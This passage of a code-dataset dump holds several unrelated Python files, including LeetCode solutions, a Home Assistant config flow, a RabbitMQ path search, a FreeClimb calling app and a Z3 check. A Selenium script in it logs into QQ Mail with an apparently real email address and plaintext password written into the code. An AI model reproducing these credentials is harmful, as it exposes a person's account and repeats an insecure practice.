C**2):\n print(\"TRIANGULO OBTUSANGULO\")\n if(A**2 < B**2 + C**2):\n print(\"TRIANGULO ACUTANGULO\")\n if(A == B == C):\n print(\"TRIANGULO EQUILATERO\")\n elif(A == B or A == C or B == C):\n print(\"TRIANGULO ISOSCELES\")","sub_path":"1045.py","file_name":"1045.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"133674423","text":"class Solution:\n def addStrings(self, num1: str, num2: str) -> str:\n # 100 ms\t13.8 MB\n i1 = len(num1)\n i2 = len(num2)\n if i1 == 0 or i2 == 0:\n return num1 if i2 == 0 else num2\n\n i1 -= 1\n i2 -= 1\n carry = 0\n zero_code = ord('0')\n result = \"\"\n while i1 >= 0 or i2 >= 0:\n v1 = ord(num1[i1]) - zero_code if i1 >= 0 else 0\n v2 = ord(num2[i2]) - zero_code if i2 >= 0 else 0\n s = v1 + v2 + carry\n result = str(s % 10) + result\n carry = s // 10\n i1 -= 1\n i2 -= 1\n\n if carry != 0:\n result = str(carry) + result\n\n return result\n\n\nif __name__ == '__main__':\n s = Solution()\n print(s.addStrings(\"123\", \"911\"))\n print(s.addStrings(\"9999\", \"123\"))\n print(s.addStrings(\"0\", \"123\"))\n print(s.addStrings(\"0\", \"0\"))\n","sub_path":"python/415.py","file_name":"415.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"619679","text":"# Problem available at: https://leetcode.com/explore/challenge/card/june-leetcoding-challenge/543/week-5-june-29th-june-30th/3376/\n\n# Question:\n'''\nGiven a 2D board and a list of words from the dictionary, find all words in the board.\n\nEach word must be constructed from letters of sequentially adjacent cell, where \"adjacent\" cells are those horizontally or vertically neighboring. The same letter cell may not be used more than once in a word.\n\n'''\n\nfrom functools import reduce\nfrom collections import defaultdict\n\nclass Solution:\n def findWords(self, board: List[List[str]], words: List[str]) -> List[str]:\n \n # create trie\n Trie = lambda: defaultdict(Trie)\n trie = Trie()\n END = True\n \n for word in words:\n reduce(dict.__getitem__,word,trie)[END] = word\n \n res = set()\n def findstr(i,j,t):\n if END in t:\n res.add(t[END])\n # return\n letter = board[i][j]\n board[i][j] = \"\"\n if i > 0 and board[i-1][j] in t:\n findstr(i-1,j,t[board[i-1][j]])\n if j>0 and board[i][j-1] in t:\n findstr(i,j-1,t[board[i][j-1]])\n if i < len(board)-1 and board[i+1][j] in t:\n findstr(i+1,j,t[board[i+1][j]])\n if j < len(board[0])-1 and board[i][j+1] in t:\n findstr(i,j+1,t[board[i][j+1]])\n board[i][j] = letter\n \n return \n \n for i, row in enumerate(board):\n for j, char in enumerate(row):\n if board[i][j] in trie:\n findstr(i,j,trie[board[i][j]])\n return res\n ","sub_path":"WordSearch_II.py","file_name":"WordSearch_II.py","file_ext":"py","file_size_in_byte":1694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"248467712","text":"\"\"\"Config flow for VoIP integration.\"\"\"\nfrom __future__ import annotations\n\nfrom typing import Any\n\nfrom homeassistant import config_entries\nfrom homeassistant.data_entry_flow import FlowResult\n\nfrom .const import DOMAIN\n\n\nclass ConfigFlow(config_entries.ConfigFlow, domain=DOMAIN):\n \"\"\"Handle a config flow for VoIP integration.\"\"\"\n\n VERSION = 1\n\n async def async_step_user(\n self, user_input: dict[str, Any] | None = None\n ) -> FlowResult:\n \"\"\"Handle the initial step.\"\"\"\n if self._async_current_entries():\n return self.async_abort(reason=\"single_instance_allowed\")\n\n if user_input is None:\n return self.async_show_form(step_id=\"user\")\n\n return self.async_create_entry(\n title=\"Voice over IP\",\n data=user_input,\n )\n","sub_path":"homeassistant/components/voip/config_flow.py","file_name":"config_flow.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"548347614","text":"# -*- coding: utf-8 -*-\nfrom pylab import random\nimport sys\nimport time\nimport codecs\nimport numpy as np\nimport pandas as pd\nimport math\n# N : number of user\n# M : number of movie\n# X : document-word matrix, N*M, each line is the number of terms that show up in the document\n\n\ndef preprocessing():\n\n frame = pd.DataFrame(range(0),index = range(1,11),columns = [range(1,3953)])\n frame=pd.read_csv('datawithNaN1.csv', header=None, sep=',')\n N=frame.shape[0]\n M=frame.shape[1]\n X=frame.fillna(0)\n Mean=[]\n Mean=X.mean()\n # print type(N)\n for i in range(0,N):\n for j in range(0,M):\n if X.loc[i][j]==0:\n X.loc[i][j]=Mean[j]\n\n # X=frame.fillna(0)\n X.to_csv('datamean1.csv',index=False,header=False)\n\n return N, M, X\nprint( time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())) , ' startpreprocessing' )\npreprocessing()\nprint( time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())) , ' end' )","sub_path":"PLSA-master/moviepre.py","file_name":"moviepre.py","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"631107546","text":"\"\"\"Script to run MCMC cosmological sampling for individual lenses, using the BNN posterior\n\nIt borrows heavily from the `catalogue modelling.ipynb` notebook in Lenstronomy Extensions, which you can find `here `_.\n\nExample\n-------\nTo run this script, pass in the path to the user-defined inference config file as the argument::\n \n $ python h0rton/infer_h0_mcmc_default.py mcmc_default.json\n\n\"\"\"\nimport os\nimport time\nfrom tqdm import tqdm\nimport gc\nfrom ast import literal_eval\nimport numpy as np\nimport pandas as pd\nimport torch\nfrom torch.utils.data import DataLoader\nfrom lenstronomy.Workflow.fitting_sequence import FittingSequence\nfrom lenstronomy.Cosmo.lcdm import LCDM\nimport baobab.sim_utils.metadata_utils as metadata_utils\nfrom baobab import BaobabConfig\nimport h0rton.models\nfrom h0rton.configs import TrainValConfig, TestConfig\nimport h0rton.losses\nimport h0rton.train_utils as train_utils\nimport h0rton.script_utils as script_utils\nfrom h0rton.h0_inference import h0_utils, plotting_utils, mcmc_utils\nfrom h0rton.trainval_data import XYData\n\ndef main():\n args = script_utils.parse_inference_args()\n test_cfg = TestConfig.from_file(args.test_config_file_path)\n baobab_cfg = BaobabConfig.from_file(test_cfg.data.test_baobab_cfg_path)\n cfg = TrainValConfig.from_file(test_cfg.train_val_config_file_path)\n # Set device and default data type\n device = torch.device(test_cfg.device_type)\n if device.type == 'cuda':\n torch.set_default_tensor_type('torch.cuda.' + cfg.data.float_type)\n else:\n torch.set_default_tensor_type('torch.' + cfg.data.float_type)\n script_utils.seed_everything(test_cfg.global_seed)\n \n ############\n # Data I/O #\n ############\n train_data = XYData(is_train=True, \n Y_cols=cfg.data.Y_cols, \n float_type=cfg.data.float_type, \n define_src_pos_wrt_lens=cfg.data.define_src_pos_wrt_lens, \n rescale_pixels=cfg.data.rescale_pixels, \n rescale_pixels_type=cfg.data.rescale_pixels_type,\n log_pixels=cfg.data.log_pixels, \n add_pixel_noise=cfg.data.add_pixel_noise, \n eff_exposure_time=cfg.data.eff_exposure_time, \n train_Y_mean=None, \n train_Y_std=None, \n train_baobab_cfg_path=cfg.data.train_baobab_cfg_path, \n val_baobab_cfg_path=None, \n for_cosmology=False)\n # Define val data and loader\n test_data = XYData(is_train=False, \n Y_cols=cfg.data.Y_cols, \n float_type=cfg.data.float_type, \n define_src_pos_wrt_lens=cfg.data.define_src_pos_wrt_lens, \n rescale_pixels=cfg.data.rescale_pixels, \n rescale_pixels_type=cfg.data.rescale_pixels_type,\n log_pixels=cfg.data.log_pixels, \n add_pixel_noise=cfg.data.add_pixel_noise, \n eff_exposure_time=cfg.data.eff_exposure_time, \n train_Y_mean=train_data.train_Y_mean, \n train_Y_std=train_data.train_Y_std, \n train_baobab_cfg_path=cfg.data.train_baobab_cfg_path, \n val_baobab_cfg_path=test_cfg.data.test_baobab_cfg_path, \n for_cosmology=True)\n master_truth = test_data.Y_df\n master_truth = metadata_utils.add_qphi_columns(master_truth)\n master_truth = metadata_utils.add_gamma_psi_ext_columns(master_truth)\n # Figure out how many lenses BNN will predict on (must be consecutive)\n if test_cfg.data.lens_indices is None:\n if args.lens_indices_path is None:\n # Test on all n_test lenses in the test set\n n_test = test_cfg.data.n_test \n lens_range = range(n_test)\n else:\n # Test on the lens indices in a text file at the specified path\n lens_range = []\n with open(args.lens_indices_path, \"r\") as f:\n for line in f:\n lens_range.append(int(line.strip()))\n n_test = len(lens_range)\n print(\"Performing H0 inference on {:d} specified lenses...\".format(n_test))\n else:\n if args.lens_indices_path is None:\n # Test on the lens indices specified in the test config file\n lens_range = test_cfg.data.lens_indices\n n_test = len(lens_range)\n print(\"Performing H0 inference on {:d} specified lenses...\".format(n_test))\n else:\n raise ValueError(\"Specific lens indices were specified in both the test config file and the command-line argument.\")\n batch_size = max(lens_range) + 1\n test_loader = DataLoader(test_data, batch_size=batch_size, shuffle=False, drop_last=True)\n # Output directory into which the H0 histograms and H0 samples will be saved\n out_dir = test_cfg.out_dir\n if not os.path.exists(out_dir):\n os.makedirs(out_dir)\n print(\"Destination folder path: {:s}\".format(out_dir))\n else:\n raise OSError(\"Destination folder already exists.\")\n\n #####################\n # Parameter penalty #\n #####################\n # Instantiate original loss function with all BNN-predicted params\n orig_Y_cols = cfg.data.Y_cols\n loss_fn = getattr(h0rton.losses, cfg.model.likelihood_class)(Y_dim=test_data.Y_dim, \n device=device)\n # Not all predicted params will be sampled via MCMC\n params_to_remove = [] #'lens_light_R_sersic', 'src_light_R_sersic'] \n mcmc_Y_cols = [col for col in orig_Y_cols if col not in params_to_remove]\n mcmc_Y_dim = len(mcmc_Y_cols)\n # Instantiate loss function with just the MCMC params\n mcmc_loss_fn = getattr(h0rton.losses, cfg.model.likelihood_class)(Y_dim=test_data.Y_dim - len(params_to_remove), \n device=device)\n remove_param_idx, remove_idx = mcmc_utils.get_idx_for_params(mcmc_loss_fn.out_dim, \n orig_Y_cols, \n params_to_remove, \n cfg.model.likelihood_class)\n mcmc_train_Y_mean = np.delete(train_data.train_Y_mean, remove_param_idx)\n mcmc_train_Y_std = np.delete(train_data.train_Y_std, remove_param_idx)\n parameter_penalty = mcmc_utils.HybridBNNPenalty(mcmc_Y_cols, cfg.model.likelihood_class, mcmc_train_Y_mean, mcmc_train_Y_std, test_cfg.h0_posterior.exclude_velocity_dispersion, device)\n custom_logL_addition = parameter_penalty.evaluate\n null_spread = False\n\n ###################\n # BNN predictions #\n ###################\n # Instantiate BNN model\n net = getattr(h0rton.models, cfg.model.architecture)(num_classes=loss_fn.out_dim, dropout_rate=cfg.model.dropout_rate)\n net.to(device)\n # Load trained weights from saved state\n net, epoch = train_utils.load_state_dict_test(test_cfg.state_dict_path, net, cfg.optim.n_epochs, device)\n # When only generating BNN predictions (and not running MCMC), we can afford more n_dropout\n # otherwise, we fix n_dropout = mcmc_Y_dim + 1\n if test_cfg.export.pred:\n n_dropout = 20\n n_samples_per_dropout = test_cfg.numerics.mcmc.walkerRatio\n else:\n n_walkers = test_cfg.numerics.mcmc.walkerRatio*(mcmc_Y_dim + 1) # (BNN params + D_dt) times walker ratio\n n_dropout = n_walkers//test_cfg.numerics.mcmc.walkerRatio\n n_samples_per_dropout = test_cfg.numerics.mcmc.walkerRatio\n # Initialize arrays that will store samples and BNN predictions\n init_pos = np.empty([batch_size, n_dropout, n_samples_per_dropout, mcmc_Y_dim])\n mcmc_pred = np.empty([batch_size, n_dropout, mcmc_loss_fn.out_dim])\n with torch.no_grad():\n net.train()\n # Send some empty forward passes through the test data without backprop to adjust batchnorm weights\n # (This is often not necessary. Beware if using for just 1 lens.)\n for nograd_pass in range(5):\n for X_, Y_ in test_loader:\n X = X_.to(device)\n _ = net(X)\n # Obtain MC dropout samples\n for d in range(n_dropout):\n net.eval()\n for X_, Y_ in test_loader:\n X = X_.to(device)\n Y = Y_.to(device)\n pred = net(X)\n break\n mcmc_pred_d = pred.cpu().numpy()\n # Replace BNN posterior's primary gaussian mean with truth values\n if test_cfg.lens_posterior_type == 'default_with_truth_mean':\n mcmc_pred_d[:, :len(mcmc_Y_cols)] = Y[:, :len(mcmc_Y_cols)].cpu().numpy()\n # Leave only the MCMC parameters in pred\n mcmc_pred_d = mcmc_utils.remove_parameters_from_pred(mcmc_pred_d, remove_idx, return_as_tensor=False)\n # Populate pred that will define the MCMC penalty function\n mcmc_pred[:, d, :] = mcmc_pred_d\n # Instantiate posterior to generate BNN samples, which will serve as initial positions for walkers\n bnn_post = getattr(h0rton.h0_inference.gaussian_bnn_posterior_cpu, loss_fn.posterior_name + 'CPU')(mcmc_Y_dim, mcmc_train_Y_mean, mcmc_train_Y_std)\n bnn_post.set_sliced_pred(mcmc_pred_d)\n init_pos[:, d, :, :] = bnn_post.sample(n_samples_per_dropout, sample_seed=test_cfg.global_seed+d) # contains just the lens model params, no D_dt\n gc.collect()\n # Terminate right after generating BNN predictions (no MCMC)\n if test_cfg.export.pred:\n import sys\n samples_path = os.path.join(out_dir, 'samples.npy')\n np.save(samples_path, init_pos)\n sys.exit()\n\n #############\n # MCMC loop #\n #############\n # Convolve MC dropout iterates with aleatoric samples\n init_pos = init_pos.transpose(0, 3, 1, 2).reshape([batch_size, mcmc_Y_dim, -1]).transpose(0, 2, 1) # [batch_size, n_samples, mcmc_Y_dim]\n init_D_dt = np.random.uniform(0.0, 15000.0, size=(batch_size, n_walkers, 1))\n pred_mean = np.mean(init_pos, axis=1) # [batch_size, mcmc_Y_dim]\n # Define assumed model profiles\n kwargs_model = dict(lens_model_list=['PEMD', 'SHEAR'],\n point_source_model_list=['SOURCE_POSITION'],\n source_light_model_list=['SERSIC_ELLIPSE'])\n astro_sig = test_cfg.image_position_likelihood.sigma # astrometric uncertainty\n # Get H0 samples for each system\n if not test_cfg.time_delay_likelihood.baobab_time_delays:\n if 'abcd_ordering_i' not in master_truth:\n raise ValueError(\"If the time delay measurements were not generated using Baobab, the user must specify the order of image positions in which the time delays are listed, in order of increasing dec.\")\n kwargs_lens_eqn_solver = {'min_distance': 0.05, 'search_window': baobab_cfg.instrument['pixel_scale']*baobab_cfg.image['num_pix'], 'num_iter_max': 200}\n\n total_progress = tqdm(total=n_test)\n realized_time_delays = pd.read_csv(test_cfg.error_model.realized_time_delays, index_col=None)\n # For each lens system...\n for i, lens_i in enumerate(lens_range):\n # Each lens gets a unique random state for time delay measurement error realizations.\n #rs_lens = np.random.RandomState(lens_i) # replaced with externally rendered time delays\n ###########################\n # Relevant data and prior #\n ###########################\n data_i = master_truth.iloc[lens_i].copy()\n # Set BNN pred defining parameter penalty for this lens, batch processes across n_dropout\n parameter_penalty.set_bnn_post_params(mcmc_pred[lens_i, :, :])\n # Initialize lens model params walkers at the predictive mean\n init_info = dict(zip(mcmc_Y_cols, pred_mean[lens_i, :]*mcmc_train_Y_std + mcmc_train_Y_mean))\n lcdm = LCDM(z_lens=data_i['z_lens'], z_source=data_i['z_src'], flat=True)\n true_img_dec = literal_eval(data_i['y_image'])\n n_img = len(true_img_dec)\n measured_td_sig = test_cfg.time_delay_likelihood.sigma\n measured_td_wrt0 = np.array(literal_eval(realized_time_delays.iloc[lens_i]['measured_td_wrt0']))\n kwargs_data_joint = dict(\n time_delays_measured=measured_td_wrt0,\n time_delays_uncertainties=measured_td_sig,\n )\n\n #############################\n # Parameter init and bounds #\n #############################\n lens_kwargs = mcmc_utils.get_lens_kwargs(init_info, null_spread=null_spread)\n ps_kwargs = mcmc_utils.get_ps_kwargs_src_plane(init_info, astro_sig)\n src_light_kwargs = mcmc_utils.get_light_kwargs(init_info['src_light_R_sersic'], null_spread=null_spread)\n special_kwargs = mcmc_utils.get_special_kwargs(n_img, astro_sig) # image position offset and time delay distance, aka the \"special\" parameters\n kwargs_params = {'lens_model': lens_kwargs,\n 'point_source_model': ps_kwargs,\n 'source_model': src_light_kwargs,\n 'special': special_kwargs,}\n if test_cfg.numerics.solver_type == 'NONE':\n solver_type = 'NONE'\n else:\n solver_type = 'PROFILE_SHEAR' if n_img == 4 else 'CENTER'\n #solver_type = 'NONE'\n kwargs_constraints = {'num_point_source_list': [n_img], \n 'Ddt_sampling': True,\n 'solver_type': solver_type,}\n\n kwargs_likelihood = {'time_delay_likelihood': True,\n 'sort_images_by_dec': True,\n 'prior_lens': [],\n 'prior_special': [],\n 'check_bounds': True, \n 'check_matched_source_position': False,\n 'source_position_tolerance': 0.01,\n 'source_position_sigma': 0.01,\n 'source_position_likelihood': False,\n 'custom_logL_addition': custom_logL_addition,\n 'kwargs_lens_eqn_solver': kwargs_lens_eqn_solver}\n\n ###########################\n # MCMC posterior sampling #\n ###########################\n fitting_seq = FittingSequence(kwargs_data_joint, kwargs_model, kwargs_constraints, kwargs_likelihood, kwargs_params, verbose=False, mpi=False)\n if i == 0:\n param_class = fitting_seq._updateManager.param_class\n n_params, param_class_Y_cols = param_class.num_param()\n init_pos = mcmc_utils.reorder_to_param_class(mcmc_Y_cols, param_class_Y_cols, init_pos, init_D_dt)\n # MCMC sample from the post-processed BNN posterior jointly with cosmology\n lens_i_start_time = time.time()\n if test_cfg.lens_posterior_type == 'default':\n test_cfg.numerics.mcmc.update(init_samples=init_pos[lens_i, :, :])\n fitting_kwargs_list_mcmc = [['MCMC', test_cfg.numerics.mcmc]]\n #try:\n with script_utils.HiddenPrints():\n chain_list_mcmc = fitting_seq.fit_sequence(fitting_kwargs_list_mcmc)\n kwargs_result_mcmc = fitting_seq.best_fit()\n lens_i_end_time = time.time()\n inference_time = (lens_i_end_time - lens_i_start_time)/60.0 # min\n\n #############################\n # Plotting the MCMC samples #\n #############################\n # sampler_type : 'EMCEE'\n # samples_mcmc : np.array of shape `[n_mcmc_eval, n_params]`\n # param_mcmc : list of str of length n_params, the parameter names\n sampler_type, samples_mcmc, param_mcmc, _ = chain_list_mcmc[0]\n new_samples_mcmc = mcmc_utils.postprocess_mcmc_chain(kwargs_result_mcmc, samples_mcmc, kwargs_model, lens_kwargs[2], ps_kwargs[2], src_light_kwargs[2], special_kwargs[2], kwargs_constraints)\n # Plot D_dt histogram\n D_dt_samples = new_samples_mcmc['D_dt'].values\n true_D_dt = lcdm.D_dt(H_0=data_i['H0'], Om0=0.3)\n data_i['D_dt'] = true_D_dt\n # Export D_dt samples for this lens\n lens_inference_dict = dict(\n D_dt_samples=D_dt_samples, # kappa_ext=0 for these samples\n inference_time=inference_time,\n true_D_dt=true_D_dt, \n )\n lens_inference_dict_save_path = os.path.join(out_dir, 'D_dt_dict_{0:04d}.npy'.format(lens_i))\n np.save(lens_inference_dict_save_path, lens_inference_dict)\n # Optionally export the MCMC samples\n if test_cfg.export.mcmc_samples:\n mcmc_samples_path = os.path.join(out_dir, 'mcmc_samples_{0:04d}.csv'.format(lens_i))\n new_samples_mcmc.to_csv(mcmc_samples_path, index=None)\n # Optionally export the D_dt histogram\n if test_cfg.export.D_dt_histogram:\n cleaned_D_dt_samples = h0_utils.remove_outliers_from_lognormal(D_dt_samples, 3)\n _ = plotting_utils.plot_D_dt_histogram(cleaned_D_dt_samples, lens_i, true_D_dt, save_dir=out_dir)\n # Optionally export the plot of MCMC chain\n if test_cfg.export.mcmc_chain:\n mcmc_chain_path = os.path.join(out_dir, 'mcmc_chain_{0:04d}.png'.format(lens_i))\n plotting_utils.plot_mcmc_chain(chain_list_mcmc, mcmc_chain_path)\n # Optionally export posterior cornerplot of select lens model parameters with D_dt\n if test_cfg.export.mcmc_corner:\n mcmc_corner_path = os.path.join(out_dir, 'mcmc_corner_{0:04d}.png'.format(lens_i))\n plotting_utils.plot_mcmc_corner(new_samples_mcmc[test_cfg.export.mcmc_cols], data_i[test_cfg.export.mcmc_cols], test_cfg.export.mcmc_col_labels, mcmc_corner_path)\n total_progress.update(1)\n gc.collect()\n realized_time_delays.to_csv(os.path.join(out_dir, 'realized_time_delays.csv'), index=None)\n total_progress.close()\n\nif __name__ == '__main__':\n #import cProfile\n #pr = cProfile.Profile()\n #pr.enable()\n main()\n #pr.disable()\n #pr.print_stats(sort='cumtime')","sub_path":"h0rton/infer_h0_mcmc_default.py","file_name":"infer_h0_mcmc_default.py","file_ext":"py","file_size_in_byte":18455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"371177267","text":"#!/usr/bin/env python3\n\"\"\"Simple plugin to log the connected_hook.\n\n\"\"\"\n\nfrom pyln.client import Plugin\n\nplugin = Plugin()\n\n\n@plugin.hook('peer_connected')\ndef on_connected(peer, plugin, **kwargs):\n print(f\"peer_connected_logger_b {peer['id']} {peer}\")\n return {'result': 'continue'}\n\n\nplugin.run()\n","sub_path":"tests/plugins/peer_connected_logger_b.py","file_name":"peer_connected_logger_b.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"213574043","text":"import numpy\n\nclass ObjModel:\n def __init__(self, file_name):\n\n self.points = []\n self.polygons = []\n\n fp = open(file_name, \"r\")\n\n line = fp.readline()\n while line:\n if line.find(\"v \") != -1:\n self._parse_vertice(line)\n if line.find(\"f \") != -1:\n self._parse_polygons(line)\n\n line = fp.readline()\n fp.close()\n\n self.points = numpy.asarray(self.points, dtype=float)\n\n print(\"loading \", file_name)\n print(\"points_count = \", len(self.points))\n print(\"polygons_count = \", len(self.polygons))\n print(\"\\n\")\n\n\n def render(self):\n pass\n\n def _parse_vertice(self, line):\n splitted = line.split()\n x = float(splitted[1])\n y = float(splitted[2])\n z = float(splitted[3])\n\n self.points.append([x, y, z])\n\n def _parse_polygons(self, line):\n splitted = line.split()\n\n points = []\n\n for i in range(len(splitted) - 1):\n p = int(splitted[i+1].split(\"/\")[0]) - 1\n points.append(p)\n \n self.polygons.append(points)\n\n\nif __name__ == \"__main__\":\n obj_model = ObjModel(\"sphere_86.obj\")\n","sub_path":"libs_common/obj_model.py","file_name":"obj_model.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"387154366","text":"from time import sleep\n\nfrom selenium import webdriver\n\ndriver = webdriver.Chrome()\ndriver.get(\"https://mail.qq.com\")\n\nprint(\"Before login -----------------------\")\n# 打印当前页面的title和url\ntitle = driver.title\ncurrent_url = driver.current_url\nprint(title)\nprint(current_url)\n\n# 登录邮箱\ndriver.switch_to.frame(\"login_frame\")\ndriver.find_element_by_id(\"u\").send_keys(\"232039123@qq.com\")\nsleep(2)\ndriver.find_element_by_id(\"p\").send_keys(\"2002woaili\")\nsleep(2)\ndriver.find_element_by_id(\"login_button\").click()\n\nsleep(3)\n\nprint(\"After login -----------------------\")\n# 再次打印当前页面的title和url\ntitle = driver.title\ncurrent_url = driver.current_url\nprint(title)\nprint(current_url)\n\n# 打印登录的用户名\nuser = driver.find_element_by_id(\"useraddr\").text\nprint(user)\n\nsleep(2)\n\ndriver.quit()","sub_path":"Selenium/WebDriver/script/mail_qq.py","file_name":"mail_qq.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"404034564","text":"import pika \nfrom collections import deque\nimport math \n\ndef PushMessage(path):\n \n global channel \n global Queue\n\n message = \" \".join([ str(i) for i in path])\n\n channel.basic_publish(\n exchange='',\n routing_key='task_queue',\n body=message,\n properties=pika.BasicProperties(\n delivery_mode=2, # make message persistent\n ))\n\n print(\"Task Sent to Worker Node:\",message)\n Queue += 1 \n\n\ndef isNotVisited(x,path):\n for i in range(len(path)):\n if (path[i] == x):\n return 0 \n return 1\n \ndef findpaths(g, src, dst, v):\n \n q = deque()\n \n path = []\n path.append(src)\n q.append(path.copy())\n \n while q:\n path = q.popleft()\n last = path[-1]\n\n if (last == dst):\n PushMessage(path)\n \n for i in range(len(g[last])):\n if (isNotVisited(g[last][i], path)):\n newpath = path.copy()\n newpath.append(g[last][i])\n q.append(newpath)\n \n\ndef callback(ch, method, properties, body):\n\n global connection \n global Queue \n message = body.decode()\n result = message.split(\"->\")\n\n print(message)\n Queue -= 1 \n\n if Queue == 0 : \n connection.close()\n # print(\"Cost of Path {} is {} \".format(result[0],result[1]))\n ch.basic_ack(delivery_tag=method.delivery_tag)\n \n\n\nif __name__ == \"__main__\":\n \n\n connection = pika.BlockingConnection(pika.ConnectionParameters(host='localhost'))\n channel = connection.channel() \n channel.queue_declare(queue='task_queue', durable=True)\n\n \n v = 8\n g = [[] for _ in range(8)]\n Queue = 0 \n\n file = open('fintect.txt','r')\n Lines = file.readlines()\n \n for line in Lines: \n node1,node2 = map(int,line.split())\n g[node1].append(node2)\n\n\n src = 0\n dst = 3\n print(\"Source {} to Destination {} are\".format(src, dst))\n\n findpaths(g, src, dst, v)\n \n\n result = connection.channel()\n\n result.queue_declare(queue='result_queue', durable=True) \n\n\n channel.basic_qos(prefetch_count=1)\n \n channel.basic_consume(queue='result_queue', on_message_callback=callback)\n\n channel.start_consuming()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"273530406","text":"# Calvin Chu, Biraj Chowdhury - Team McChargers\n# SoftDev2 pd9\n# K18: Come Up For Air\n# 2020-04-20\n\nfrom flask import Flask, render_template\nimport csv\n\napp = Flask(__name__)\n\ndef parseCSV(file):\n arr = []\n with open(file, newline='') as csvfile:\n spamreader = csv.reader(csvfile, delimiter=',')\n count = 0\n categories = []\n for row in spamreader:\n if (count == 0):\n for i in row:\n categories.append(i)\n else:\n dict = {}\n for i in range (len(categories)):\n dict[categories[i]] = row[i]\n arr.append(dict)\n count += 1\n return arr\n\n@app.route(\"/\")\ndef root():\n # print(parseCSV(\"static/drinks.csv\"))\n categories = []\n result = parseCSV(\"static/drinks.csv\")\n for key in result[0]:\n categories.append(key)\n return render_template('index.html', data = result, cat = categories)\n\nif __name__ == \"__main__\":\n app.debug = True\n app.run()\n","sub_path":"18_d3/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"423326063","text":"# Create Multi-thread\n\nfrom threading import Thread\n\nclass Counter(Thread):\n\n\tdef __init__(self, end):\n\t\tThread.__init__(self)\n\t\tself.end = end\n\n\tdef run(self):\n\t\tfor i in range(1, self.end+1):\n\t\t\tprint(self.name + \": \" + str(i))\n\nthr1 = Counter(5)\nthr2 = Counter(5)\n\nthr1.start()\nthr2.start()\n","sub_path":"Example_4.py","file_name":"Example_4.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"498558769","text":"from __future__ import print_function\nimport time\nimport freeclimb\nfrom freeclimb.api import default_api\nimport os\nimport json\nfrom flask import Flask, request\n\n\nconfiguration = freeclimb.Configuration(\n # Defining host is optional and default to https://www.freeclimb.com/apiserver\n host = \"https://www.freeclimb.com/apiserver\",\n # Configure HTTP basic authorization: fc\n username = os.environ['ACCOUNT_ID'],\n password = os.environ['API_KEY']\n)\n\n# Create an instance of the API class\napi_instance = default_api.DefaultApi(freeclimb.ApiClient(configuration))\n\napp = Flask(__name__)\n\n# Triggered locally for convenience\n@app.route('/sendCall', methods=['POST'])\ndef sendCall():\n if request.method == 'POST':\n call_request = freeclimb.MakeCallRequest(\n _from=YOUR_FREECLIMB_NUMBER, to=YOUR_VERIFIED_NUMBER, application_id=YOUR_APP_ID)\n api_instance.make_a_call(make_call_request=call_request)\n return json.dumps({'success': True}), 200, {'ContentType': 'application/json'}\n\n# Specify this route with 'CALL CONNECT URL' in App Config\n@app.route('/callConnect', methods=['POST'])\ndef callConnect():\n if request.method == 'POST':\n script = freeclimb.PerclScript(commands=[\n freeclimb.Say(text=\"Hello. Welcome to FreeClimb's outbound call tutorial.\"),\n freeclimb.Pause(length=1000),\n freeclimb.Say(text=\"Goodbye.\")\n ])\n\n return script.to_json(), 200, {'ContentType': 'application/json'}\n\n# Specify this route with 'STATUS CALLBACK URL' in App Config\n@app.route('/status', methods=['POST'])\ndef status():\n return json.dumps({'success': True}), 200, {'ContentType': 'application/json'}\n","sub_path":"python_make_outbound_call_tutorial.py","file_name":"python_make_outbound_call_tutorial.py","file_ext":"py","file_size_in_byte":1692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"361700713","text":"from z3 import *\n\nraw_data = open('input', 'r')\ndata_content = raw_data.readlines()\n\n#read in the variables from the input file\nin_a = int(data_content[0][:data_content[0].index('\\n')])\nm = int(data_content[1][:data_content[1].index('\\n')])\nin_b = int(data_content[2][:data_content[2].index('\\n')])\nn = int(data_content[3])\n\n#setting up out_a with initial out_a = in_a\npow_a = [in_a]\n\n#setting up out_b with initial out_b = in_b\npow_b = [in_b]\n\n#implementation of power\nfor i in range(1,m+1):\n pow_a.append(pow_a[i-1]*in_a)\n\n#implementation of power_new\nfor i in range(1, n+1):\n pow_b.append(pow_b[i-1]*pow_b[i-1])\n\n\n#checking that the final out_a == final out_b\npsi = (pow_a[-1] == pow_b[-1])\n\n\ns: Solver = Solver()\n\n\ns.add(psi)\nif s.check() == sat:\n print(\"true\")\nelif s.check() == unsat:\n print(\"false\")\n","sub_path":"HW6/power_2.py","file_name":"power_2.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"561888283","text":"'''\nCreated on Oct 21, 2015\n\n@author: mianmianba\n'''\n\n# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = 